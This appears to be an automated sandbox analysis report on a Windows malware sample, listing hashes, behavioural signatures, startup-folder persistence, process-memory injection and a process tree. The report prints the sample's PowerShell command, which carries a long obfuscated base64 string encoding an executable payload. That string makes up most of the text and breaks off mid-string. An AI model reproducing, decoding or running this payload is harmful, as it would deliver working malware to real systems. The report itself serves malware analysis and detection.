Analysis
-
max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 12:01
Static task
static1
Behavioral task
behavioral1
Sample
c95f727989fffa10d88d55ab77075efb.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
c95f727989fffa10d88d55ab77075efb.exe
Resource
win10v2004-20231215-en
General
-
Target
c95f727989fffa10d88d55ab77075efb.exe
-
Size
1.3MB
-
MD5
c95f727989fffa10d88d55ab77075efb
-
SHA1
f5096f73c9e4eff3881a99787ccc80d90a82f961
-
SHA256
ea8962f13af1485adc1e179cb764320a2896126bdda1b1d7af2ba5318f140a47
-
SHA512
1139b3f64d843aed133755cb3557965f0fe117d79f096bcd3d70e80a035997a7a3d21a340eb5f6215e80b9c0a821acd036ea5d14f7d9695407046834f2a52b29
-
SSDEEP
24576:z21r5Y3sQdzQ1pqiKSm50p51uNv1r5Y3sQdzQ1pqiKSm50p51uNUhYO84xtyWx:crScQdEu70irScQdEu70jhYOJxtyWx
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2664 WScript.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js c95f727989fffa10d88d55ab77075efb.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 2732 2232 WerFault.exe 27 -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2904 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2232 wrote to memory of 2664 2232 c95f727989fffa10d88d55ab77075efb.exe 28 PID 2232 wrote to memory of 2664 2232 c95f727989fffa10d88d55ab77075efb.exe 28 PID 2232 wrote to memory of 2664 2232 c95f727989fffa10d88d55ab77075efb.exe 28 PID 2232 wrote to memory of 2664 2232 c95f727989fffa10d88d55ab77075efb.exe 28 PID 2664 wrote to memory of 2904 2664 WScript.exe 29 PID 2664 wrote to memory of 2904 2664 WScript.exe 29 PID 2664 wrote to memory of 2904 2664 WScript.exe 29 PID 2664 wrote to memory of 2904 2664 WScript.exe 29 PID 2232 wrote to memory of 2732 2232 c95f727989fffa10d88d55ab77075efb.exe 31 PID 2232 wrote to memory of 2732 2232 c95f727989fffa10d88d55ab77075efb.exe 31 PID 2232 wrote to memory of 2732 2232 c95f727989fffa10d88d55ab77075efb.exe 31 PID 2232 wrote to memory of 2732 2232 c95f727989fffa10d88d55ab77075efb.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\c95f727989fffa10d88d55ab77075efb.exe"C:\Users\Admin\AppData\Local\Temp\c95f727989fffa10d88d55ab77075efb.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.js"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LAtEb = 'TVqQ↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓//8↓:↓↓:↓Lg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓4fug4↓:↓t↓:↓nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQRQ↓:↓↓:↓T↓:↓ED↓:↓JmqXpc↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓Ii↓:↓L↓:↓V↓:↓↓:↓↓:↓B4↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓1j0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓YIU↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓II9↓:↓↓:↓BP↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓D↓:↓P↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CC↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C50ZXh0↓:↓↓:↓↓:↓↓:↓3B0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Hg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓G↓:↓ucnNyYw↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓LnJlbG9j↓:↓↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Qg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C2PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓U↓:↓uCM↓:↓↓:↓F↓:↓Y↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g8↓:↓↓:↓C4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B4CKBc↓:↓↓:↓↓:↓oqHgIoG↓:↓↓:↓↓:↓Ciqmcxk↓:↓↓:↓↓:↓q↓:↓↓:↓Q↓:↓↓:↓BHMa↓:↓↓:↓↓:↓Kg↓:↓I↓:↓↓:↓↓:↓RzGw↓:↓↓:↓Co↓:↓D↓:↓↓:↓↓:↓Ecxw↓:↓↓:↓↓:↓q↓:↓B↓:↓↓:↓↓:↓BCoufgE↓:↓↓:↓↓:↓RvHQ↓:↓↓:↓CioufgI↓:↓↓:↓↓:↓RvHg↓:↓↓:↓CioufgM↓:↓↓:↓↓:↓RvHw↓:↓↓:↓CioufgQ↓:↓↓:↓↓:↓RvI↓:↓↓:↓↓:↓CirGfgU↓:↓↓:↓↓:↓QUKCE↓:↓↓:↓↓:↓osHnIB↓:↓↓:↓Bw0↓:↓U↓:↓↓:↓↓:↓IoIg↓:↓↓:↓Cm8j↓:↓↓:↓↓:↓KcyQ↓:↓↓:↓↓:↓q↓:↓BQ↓:↓↓:↓BH4F↓:↓↓:↓↓:↓EKhp+Bg↓:↓↓:↓BCoe↓:↓o↓:↓G↓:↓↓:↓↓:↓EKlZzD↓:↓↓:↓↓:↓Bigl↓:↓↓:↓↓:↓Kd↓:↓Y↓:↓↓:↓↓:↓K↓:↓Bw↓:↓↓:↓BCoe↓:↓igm↓:↓↓:↓↓:↓KKhp+Bw↓:↓↓:↓BCoaK↓:↓0↓:↓↓:↓↓:↓YqHgIoJw↓:↓↓:↓Cio↓:↓Gz↓:↓E↓:↓JgB↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓RKCg↓:↓↓:↓↓:↓oKKCg↓:↓↓:↓↓:↓pyMQ↓:↓↓:↓cCgp↓:↓↓:↓↓:↓KJgQoKg↓:↓↓:↓Ciw0↓:↓28r↓:↓↓:↓↓:↓KBm8r↓:↓↓:↓↓:↓Kbyw↓:↓↓:↓↓:↓oLBywGBxcuGysZ↓:↓x0oLQ↓:↓↓:↓CgMoLg↓:↓↓:↓Cigv↓:↓↓:↓↓:↓KD↓:↓goM↓:↓↓:↓↓:↓Ct4OJSgx↓:↓↓:↓↓:↓KDSgy↓:↓↓:↓↓:↓K3g↓:↓↓:↓I↓:↓↓:↓M↓:↓↓:↓↓:↓oMw↓:↓↓:↓Cn40↓:↓↓:↓↓:↓KEwR+N↓:↓↓:↓↓:↓ChMFczU↓:↓↓:↓↓:↓olKDY↓:↓↓:↓↓:↓pvNw↓:↓↓:↓CiUlcj0↓:↓↓:↓H↓:↓oEQ↓:↓↓:↓Bm84↓:↓↓:↓↓:↓Kbzk↓:↓↓:↓↓:↓pvO↓:↓↓:↓↓:↓ChMEEQRysQ↓:↓↓:↓cHK5↓:↓↓:↓Bwbzo↓:↓↓:↓↓:↓ooEQ↓:↓↓:↓BhMEJSUCKBE↓:↓↓:↓↓:↓ZvO↓:↓↓:↓↓:↓Cm84↓:↓↓:↓↓:↓KKBE↓:↓↓:↓↓:↓YTBREFcrk↓:↓↓:↓HBysQ↓:↓↓:↓cG86↓:↓↓:↓↓:↓KEwVvOw↓:↓↓:↓ChQmKCg↓:↓↓:↓↓:↓pyMQ↓:↓↓:↓cCgp↓:↓↓:↓↓:↓KEwZ+N↓:↓↓:↓↓:↓ChMHczU↓:↓↓:↓↓:↓olKDY↓:↓↓:↓↓:↓pvNw↓:↓↓:↓CiVyvQ↓:↓↓:↓cCgR↓:↓↓:↓↓:↓Gczw↓:↓↓:↓↓:↓pvPQ↓:↓↓:↓ChMHEQdvOQ↓:↓↓:↓CnM8↓:↓↓:↓↓:↓Kbz0↓:↓↓:↓↓:↓oTBxQmEQdyOQE↓:↓cBEFbzo↓:↓↓:↓↓:↓pySQE↓:↓cBEEbzo↓:↓↓:↓↓:↓oTBxEGEQcoPg↓:↓↓:↓Cig/↓:↓↓:↓↓:↓KclkB↓:↓H↓:↓RBigp↓:↓↓:↓↓:↓KFhYVKE↓:↓↓:↓↓:↓↓:↓om3g8lKDE↓:↓↓:↓↓:↓oTCCgy↓:↓↓:↓↓:↓K3g↓:↓qQTQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓↓:↓↓:↓↓:↓Pg↓:↓↓:↓↓:↓FQ↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓Ig↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓Bj↓:↓↓:↓↓:↓↓:↓JQE↓:↓↓:↓IgB↓:↓↓:↓↓:↓P↓:↓↓:↓↓:↓↓:↓Ig↓:↓↓:↓↓:↓R4CKEE↓:↓↓:↓↓:↓oqNgIDKEI↓:↓↓:↓↓:↓ooQw↓:↓↓:↓Cioe↓:↓ihE↓:↓↓:↓↓:↓KKi7QCQ↓:↓↓:↓↓:↓igi↓:↓↓:↓↓:↓KKh4CKEU↓:↓↓:↓↓:↓oq↓:↓↓:↓↓:↓TM↓:↓E↓:↓F↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓BECj↓:↓U↓:↓↓:↓BstCCgB↓:↓↓:↓↓:↓rCisC↓:↓goGKiID/hUF↓:↓↓:↓↓:↓bKh4CKCc↓:↓↓:↓↓:↓oq↓:↓↓:↓↓:↓↓:↓Ez↓:↓C↓:↓Cg↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓R↓:↓ntH↓:↓↓:↓↓:↓Kb0g↓:↓↓:↓↓:↓oKBowI↓:↓↓:↓↓:↓bLRIo↓:↓g↓:↓↓:↓KwoCe0c↓:↓↓:↓↓:↓oGb0k↓:↓↓:↓↓:↓oGKkoCKCc↓:↓↓:↓↓:↓oCc0o↓:↓↓:↓↓:↓p9Rw↓:↓↓:↓Cio↓:↓QlNKQgE↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓HY0Lj↓:↓uMz↓:↓zMTk↓:↓↓:↓↓:↓↓:↓↓:↓BQBs↓:↓↓:↓↓:↓↓:↓c↓:↓g↓:↓↓:↓CN+↓:↓↓:↓DcC↓:↓↓:↓↓:↓N↓:↓k↓:↓↓:↓CNTdHJpbmdz↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓S↓:↓↓:↓D0↓:↓Q↓:↓↓:↓I1VT↓:↓↓:↓QU↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓I0dVSUQ↓:↓↓:↓↓:↓↓:↓UF↓:↓↓:↓↓:↓P↓:↓Q↓:↓↓:↓CNCbG9i↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓FXFaIJCQ8↓:↓↓:↓↓:↓D6↓:↓TM↓:↓Fg↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Dc↓:↓↓:↓↓:↓↓:↓K↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓Bo↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓Sg↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓BQ↓:↓↓:↓↓:↓↓:↓k↓:↓↓:↓↓:↓↓:↓K↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓9gQB↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓KYDrQcG↓:↓BMErQcG↓:↓H0C7gYP↓:↓BsI↓:↓↓:↓↓:↓G↓:↓L4CtgUG↓:↓IkDtgUG↓:↓PoDtgUG↓:↓MYDtgUG↓:↓N8DtgUG↓:↓↓:↓UDtgUG↓:↓KoCZwcG↓:↓CYCZwcG↓:↓FEDtgUG↓:↓C↓:↓DZgQK↓:↓EkCd↓:↓YK↓:↓PYB4↓:↓QK↓:↓JEC4↓:↓QO↓:↓LsBPQcO↓:↓KQG↓:↓QcG↓:↓DkD7gYO↓:↓NUChgcO↓:↓O0Cr↓:↓↓:↓G↓:↓IUIIwUO↓:↓J↓:↓GPQcO↓:↓G4Dr↓:↓↓:↓G↓:↓I4BIwUO↓:↓↓:↓E↓:↓tgQK↓:↓DQCRQUG↓:↓G↓:↓C7gYG↓:↓↓:↓sCrQcG↓:↓F↓:↓GzQcG↓:↓NIFlQUK↓:↓MsBg↓:↓UG↓:↓MgFIwUG↓:↓C0BIwUG↓:↓BEJtgUK↓:↓NYBg↓:↓UG↓:↓K0EZ↓:↓↓:↓G↓:↓JEEIwUO↓:↓GMIhgcG↓:↓LcIIwWn↓:↓D4G↓:↓↓:↓↓:↓G↓:↓FEBZ↓:↓↓:↓O↓:↓Jc↓:↓hgcK↓:↓G↓:↓GlggK↓:↓HYBlggK↓:↓K0IlggG↓:↓F0EzQgK↓:↓MMI4↓:↓QK↓:↓LIEIwUO↓:↓KoFr↓:↓↓:↓O↓:↓FYBr↓:↓↓:↓O↓:↓CoIr↓:↓↓:↓G↓:↓G8IrQcG↓:↓NcGIwU↓:↓↓:↓↓:↓↓:↓↓:↓SQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ByBfwISQ↓:↓B↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓KIG/↓:↓hN↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓R↓:↓↓:↓j↓:↓j8CF0↓:↓↓:↓Q↓:↓D↓:↓↓:↓↓:↓B↓:↓↓:↓DvB94HXQ↓:↓F↓:↓↓:↓g↓:↓↓:↓↓:↓EQ↓:↓D8I/↓:↓iF↓:↓↓:↓c↓:↓Cw↓:↓↓:↓↓:↓Q↓:↓↓:↓I↓:↓n8CF0↓:↓C↓:↓↓:↓O↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓r↓:↓DI↓:↓XQ↓:↓I↓:↓↓:↓8↓:↓BQE↓:↓↓:↓C8H↓:↓↓:↓Bd↓:↓↓:↓g↓:↓Eg↓:↓F↓:↓Q↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓F0↓:↓C↓:↓↓:↓Z↓:↓DE↓:↓BwZR↓:↓TE↓:↓3gVZ↓:↓TE↓:↓8gVh↓:↓TE↓:↓I↓:↓Zp↓:↓RE↓:↓LwVx↓:↓RE↓:↓qwF1↓:↓RE↓:↓/↓:↓B6↓:↓SE↓:↓5ggi↓:↓V↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YY4QYG↓:↓↓:↓E↓:↓WC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BhjhBgY↓:↓↓:↓QBgI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓RGOcGtQ↓:↓B↓:↓Iog↓:↓↓:↓↓:↓↓:↓↓:↓BMIlQZ+↓:↓QE↓:↓li↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwhiBYMB↓:↓QCiI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCIwGi↓:↓EB↓:↓K4g↓:↓↓:↓↓:↓↓:↓↓:↓BMIHweN↓:↓QE↓:↓ui↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwhMBpIB↓:↓QDsI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCJMBlwEB↓:↓PMg↓:↓↓:↓↓:↓↓:↓↓:↓BMInwGd↓:↓QE↓:↓+y↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ERjnBrU↓:↓↓:↓g↓:↓RIQ↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGBg↓:↓C↓:↓Bkh↓:↓↓:↓↓:↓↓:↓↓:↓BYIoQik↓:↓QI↓:↓ICE↓:↓↓:↓↓:↓↓:↓↓:↓EwgyCKQB↓:↓g↓:↓nIQ↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGBg↓:↓C↓:↓D↓:↓h↓:↓↓:↓↓:↓↓:↓↓:↓BY↓:↓XgCp↓:↓QI↓:↓CCM↓:↓↓:↓↓:↓↓:↓↓:↓EQDP↓:↓KM↓:↓BQ↓:↓QIw↓:↓↓:↓↓:↓↓:↓DG↓:↓lMI+g↓:↓G↓:↓B4j↓:↓↓:↓↓:↓↓:↓↓:↓MYCFQH/↓:↓↓:↓c↓:↓JiM↓:↓↓:↓↓:↓↓:↓↓:↓gwCL↓:↓b↓:↓BBw↓:↓yIw↓:↓↓:↓↓:↓↓:↓DG↓:↓o8Ekw↓:↓H↓:↓Dwj↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓h↓:↓C1↓:↓Qc↓:↓XCM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓QBw↓:↓L0BC↓:↓BlIw↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGBg↓:↓J↓:↓H↓:↓j↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MI7↓:↓BK↓:↓↓:↓k↓:↓pCM↓:↓↓:↓↓:↓↓:↓↓:↓BhjhBgY↓:↓CQ↓:↓↓:↓↓:↓↓:↓E↓:↓TgQ↓:↓↓:↓↓:↓E↓:↓8↓:↓g↓:↓↓:↓↓:↓I↓:↓W↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓Ug↓:↓↓:↓↓:↓↓:↓E↓:↓9gg↓:↓↓:↓↓:↓E↓:↓3↓:↓U↓:↓↓:↓↓:↓E↓:↓D↓:↓E↓:↓↓:↓↓:↓E↓:↓D↓:↓EJ↓:↓OEG↓:↓Q↓:↓R↓:↓OEGBg↓:↓Z↓:↓OEGCg↓:↓p↓:↓OEGE↓:↓↓:↓x↓:↓OEGE↓:↓↓:↓5↓:↓OEGE↓:↓BB↓:↓OEGE↓:↓BJ↓:↓OEGE↓:↓BR↓:↓OEGE↓:↓BZ↓:↓OEGFQBh↓:↓OEGE↓:↓Bp↓:↓OEGE↓:↓Bx↓:↓OEGE↓:↓B5↓:↓OEGGgCJ↓:↓OEGI↓:↓Ch↓:↓OEGBgCp↓:↓OEGBgCx↓:↓OEGBgDJ↓:↓OEGJgDh↓:↓OEGE↓:↓Dp↓:↓OEGBgDx↓:↓OEGBgCR↓:↓OEGBgCZ↓:↓OEGBg↓:↓M↓:↓OEGBg↓:↓U↓:↓OEGBg↓:↓c↓:↓OEGBg↓:↓k↓:↓OEGBg↓:↓M↓:↓Ow↓:↓Sg↓:↓U↓:↓Ow↓:↓Sg↓:↓c↓:↓Ow↓:↓Sg↓:↓k↓:↓Ow↓:↓SgC5↓:↓EoITwDR↓:↓D8BVQDR↓:↓↓:↓0JXQD5↓:↓OEGYw↓:↓p↓:↓cI↓:↓aw↓:↓J↓:↓eEGBgC5↓:↓OEGBg↓:↓x↓:↓ZgEh↓:↓↓:↓5↓:↓X4Ii↓:↓BB↓:↓TsFjg↓:↓5↓:↓a0Gkw↓:↓5↓:↓VoIlwBJ↓:↓aQEn↓:↓↓:↓x↓:↓WIBow↓:↓x↓:↓W4Bi↓:↓BZ↓:↓VQEq↓:↓Bh↓:↓ccGrgBh↓:↓bUGtQBp↓:↓Q4FuQ↓:↓5↓:↓RoJw↓:↓B5↓:↓eEGBgCB↓:↓U↓:↓↓:↓wwB5↓:↓VkEyQB5↓:↓Y↓:↓E0↓:↓↓:↓5↓:↓SoFkw↓:↓5↓:↓dU↓:↓1QCJ↓:↓eMBBgCR↓:↓eEGE↓:↓B5↓:↓Y↓:↓E2wCB↓:↓SEBwwBZ↓:↓dkI4gCZ↓:↓QgF6wCp↓:↓esBowCx↓:↓UUE9QC5↓:↓FMI+gC5↓:↓BUB/wC5↓:↓I8EkwC5↓:↓d0↓:↓CwE0↓:↓OYIIgE8↓:↓DEESg↓:↓8↓:↓DsEOQE8↓:↓OEGBg↓:↓p↓:↓KM↓:↓5↓:↓Mu↓:↓↓:↓s↓:↓7gEu↓:↓BM↓:↓9wEu↓:↓Bs↓:↓FgIu↓:↓CM↓:↓HwIu↓:↓Cs↓:↓HwIu↓:↓DM↓:↓HwIu↓:↓Ds↓:↓HwIu↓:↓EM↓:↓JQIu↓:↓Es↓:↓HwIu↓:↓FM↓:↓HwIu↓:↓Fs↓:↓PQIu↓:↓GM↓:↓ZwIu↓:↓Gs↓:↓d↓:↓J↓:↓↓:↓IM↓:↓vgJ↓:↓↓:↓Hs↓:↓wwJD↓:↓HM↓:↓z↓:↓JD↓:↓Hs↓:↓wwJJ↓:↓KM↓:↓9QNj↓:↓HM↓:↓z↓:↓Jj↓:↓Hs↓:↓wwJp↓:↓KM↓:↓CQS↓:↓↓:↓IM↓:↓vgKD↓:↓Is↓:↓vgKD↓:↓JM↓:↓vgKD↓:↓HM↓:↓z↓:↓KJ↓:↓KM↓:↓FgSg↓:↓IM↓:↓vgKj↓:↓Is↓:↓vgKj↓:↓HM↓:↓5QKj↓:↓Ks↓:↓vgKj↓:↓LM↓:↓vgKj↓:↓JM↓:↓vgKp↓:↓Hs↓:↓FgL↓:↓↓:↓IM↓:↓vgLD↓:↓LM↓:↓vgLD↓:↓HM↓:↓JwPD↓:↓Hs↓:↓FgLJ↓:↓Hs↓:↓FgLg↓:↓IM↓:↓vgLj↓:↓Is↓:↓vgLj↓:↓JM↓:↓vgLj↓:↓Ks↓:↓vgLj↓:↓LM↓:↓vgIJ↓:↓aM↓:↓KgQj↓:↓Xs↓:↓wwIj↓:↓Zs↓:↓ggND↓:↓Xs↓:↓wwJD↓:↓VM↓:↓HwJ↓:↓↓:↓ns↓:↓wwJ↓:↓↓:↓oM↓:↓vgJg↓:↓ns↓:↓wwJg↓:↓oM↓:↓vgK↓:↓↓:↓ns↓:↓wwK↓:↓↓:↓oM↓:↓vgKg↓:↓ns↓:↓wwKg↓:↓oM↓:↓vgL↓:↓↓:↓oM↓:↓vgLg↓:↓oM↓:↓vgI↓:↓↓:↓4M↓:↓vgI↓:↓↓:↓3s↓:↓wwIg↓:↓4M↓:↓vgJ↓:↓↓:↓4M↓:↓vgJ↓:↓↓:↓3s↓:↓wwJ0↓:↓↓:↓MBFgEE↓:↓↓:↓E↓:↓BQ↓:↓F↓:↓↓:↓Y↓:↓Bw↓:↓H↓:↓↓:↓g↓:↓Cg↓:↓J↓:↓↓:↓↓:↓↓:↓p↓:↓bF↓:↓Q↓:↓↓:↓d↓:↓XK↓:↓Q↓:↓↓:↓k↓:↓bP↓:↓Q↓:↓↓:↓MQfU↓:↓Q↓:↓↓:↓U↓:↓bZ↓:↓Q↓:↓↓:↓swHe↓:↓Q↓:↓↓:↓pQjk↓:↓Q↓:↓↓:↓QQjk↓:↓Q↓:↓↓:↓8↓:↓Dp↓:↓QI↓:↓B↓:↓↓:↓D↓:↓↓:↓I↓:↓BQ↓:↓F↓:↓↓:↓I↓:↓Bg↓:↓H↓:↓↓:↓I↓:↓Bw↓:↓J↓:↓↓:↓I↓:↓C↓:↓↓:↓L↓:↓↓:↓I↓:↓CQ↓:↓N↓:↓↓:↓E↓:↓Cg↓:↓N↓:↓↓:↓I↓:↓DQ↓:↓P↓:↓↓:↓I↓:↓Dg↓:↓R↓:↓↓:↓I↓:↓GQ↓:↓T↓:↓C4↓:↓NQ↓:↓8↓:↓EM↓:↓C↓:↓Eb↓:↓SoBMQEEg↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓y↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓PwGj↓:↓↓:↓↓:↓↓:↓↓: